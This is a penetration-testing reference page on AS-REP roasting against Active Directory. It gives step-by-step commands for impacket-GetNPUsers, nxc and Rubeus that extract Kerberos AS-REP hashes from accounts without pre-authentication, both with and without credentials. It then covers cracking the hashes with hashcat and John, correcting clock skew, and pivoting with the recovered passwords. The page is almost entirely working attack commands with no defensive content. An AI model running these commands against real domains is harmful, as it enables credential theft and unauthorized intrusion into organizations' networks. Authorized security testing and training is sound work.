# AS-REP Roasting – Pre-Auth Disabled Hash Cracking

> Exploit accounts with Kerberos pre-authentication disabled to capture AS-REP hashes offline, then crack them to recover plaintext credentials.

- **URL:** https://hackindex.io/services/kerberos/exploitation/asrep-roasting
- **Path:** Kerberos > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/kerberos/exploitation.md)
- **Published:** 2026-03-11
- **Updated:** 2026-07-10

When a domain account has pre-authentication disabled (`DONT_REQ_PREAUTH`), the KDC will respond to an AS-REQ with an AS-REP containing a portion of the response encrypted with the user's password hash: without verifying who is asking. That encrypted blob can be cracked offline.

Unlike Kerberoasting, this does not require valid domain credentials. As long as you have a username list and network access to port 88 on the DC, you can extract hashes for all vulnerable accounts.

AS-REP roasting tools:

- impacket-GetNPUsers from Linux (no creds required)
- nxc with `--asreproast` flag (LDAP-based discovery)
- Rubeus `asreproast` from a Windows foothold

If you have valid credentials and want to check for AS-REP roastable accounts, see the enumeration note below. For roasting SPNs once you have creds, see Kerberoasting at [https://hackindex.io/services/kerberos/exploitation/kerberoasting](https://hackindex.io/services/kerberos/exploitation/kerberoasting).

## AS-REP roasting attack without credentials

`impacket-GetNPUsers` sends AS-REQ requests without pre-authentication for a list of usernames. Valid usernames that have pre-auth disabled return a crackable hash. Invalid usernames return `KDC_ERR_C_PRINCIPAL_UNKNOWN`.

Against a list of usernames:

```bash
impacket-GetNPUsers $DOMAIN/ -usersfile users.txt -dc-ip $TARGET_IP -format hashcat -outputfile asrep.txt
# $krb5asrep$23$svc_backup@CORP.LOCAL:1a2b3c4d5e6f...
```

Against a single username:

```bash
impacket-GetNPUsers $DOMAIN/$USER -dc-ip $TARGET_IP -no-pass -format hashcat
# $krb5asrep$23$svc_backup@CORP.LOCAL:1a2b3c4d5e6f...
```

`$23` is RC4. If you see `$17` or `$18`, the account is configured for AES-only: cracking is slower.

## Roasting With Valid Credentials

If you have domain credentials, you can enumerate which accounts are vulnerable through LDAP and roast them in the same step:

```bash
impacket-GetNPUsers $DOMAIN/$USER:$PASSWORD -dc-ip $TARGET_IP -format hashcat -outputfile asrep.txt
```

With no `-usersfile`, Impacket queries LDAP for all accounts with `DONT_REQ_PREAUTH` set and roasts them automatically.

With nxc:

```bash
nxc ldap $TARGET_IP -u $USER -p $PASSWORD --asreproast asrep.txt
```

## Roasting from Windows with Rubeus

```bash
Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt /nowrap
```

Target a specific user:

```bash
Rubeus.exe asreproast /user:$TARGET_USER /format:hashcat /outfile:asrep.txt /nowrap
```

## Cracking with Hashcat

AS-REP hashes use mode `18200`:

```bash
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
```

With rules:

```bash
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
```

With John:

```bash
john --format=krb5asrep --wordlist=/usr/share/wordlists/rockyou.txt asrep.txt
```

## Clock Skew Errors

If you see `KRB_AP_ERR_SKEW (Clock skew too great)`, your attack box clock is too far out of sync with the DC. Kerberos requires clocks to be within 5 minutes. Sync to the DC:

```bash
sudo timedatectl set-ntp false
sudo ntpdate $TARGET_IP
```

Or force-set the time if ntpdate fails:

```bash
sudo date -s "$(sudo net time -S $TARGET_IP | awk '{print $1, $2}')"
```

## What to Do with a Cracked Hash

The cracked password is valid domain credentials for the account. Use it to authenticate to services, enumerate AD further, or pivot depending on what privileges the account holds. Feed it into BloodHound to map any privilege paths from that identity.

If the account has an SPN assigned, also try Kerberoasting it at [https://hackindex.io/services/kerberos/exploitation/kerberoasting](https://hackindex.io/services/kerberos/exploitation/kerberoasting) to potentially escalate further.

Related

## References

- [Impacket](https://github.com/fortra/impacket) - Fortra GetNPUsers.py source and documentation.
- [Rubeus](https://github.com/GhostPack/Rubeus) - GhostPack asreproast module documentation.